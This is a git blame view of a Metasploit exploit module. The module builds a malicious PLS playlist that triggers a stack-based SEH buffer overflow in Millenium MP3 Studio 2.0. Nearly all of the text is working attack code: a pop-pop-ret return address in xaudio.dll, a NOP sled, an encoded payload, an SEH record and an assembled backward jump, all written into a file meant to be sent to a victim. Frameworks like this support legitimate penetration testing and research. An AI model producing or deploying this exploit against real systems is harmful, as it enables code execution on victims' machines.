Files
metasploit-gs/modules/exploits/windows/fileformat/millenium_mp3_pls.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

77 lines
2.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-14 21:27:43 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-14 21:27:43 +00:00
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
2009-12-17 23:02:01 +00:00
'Name' => 'Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow',
2009-12-14 21:27:43 +00:00
'Description' => %q{
2009-12-17 23:02:01 +00:00
This module exploits a stack-based buffer overflow in Millenium MP3 Studio 2.0.
2009-12-14 21:27:43 +00:00
An attacker must send the file to victim and the victim must open the file.
Alternatively it may be possible to execute code remotely via an embedded
2017-09-13 22:03:34 -04:00
PLS file within a browser, when the PLS extension is registered to Millenium MP3 Studio.
2009-12-14 21:27:43 +00:00
This functionality has not been tested in this module.
},
'License' => MSF_LICENSE,
'Author' => [ 'Molotov ', 'dookie', 'jduck' ],
'References' =>
[
[ 'OSVDB', '56574' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '9618' ],
[ 'EDB', '10240' ],
2009-12-14 21:27:43 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
},
2009-12-14 21:27:43 +00:00
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x1a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
2009-12-14 21:27:43 +00:00
[
[ 'Windows Universal', { 'Ret' => 0x10015593 } ], #p/p/r in xaudio.dll
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-07-30',
2009-12-14 21:27:43 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
])
2009-12-14 21:27:43 +00:00
end
def exploit
header = "[playlist]\r\n"
header << "NumberOfEntries=1\r\n"
header << "File1=http://"
2009-12-14 21:27:43 +00:00
sploit = make_nops(4103 - payload.encoded.length)
sploit << payload.encoded
sploit << generate_seh_record(target.ret)
2009-12-14 21:27:43 +00:00
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (4103+8).to_s).encode_string
# note, one of the arguments get modified post overflow, so executing stuff below here is risky...
filepls = header + sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(filepls)
end
end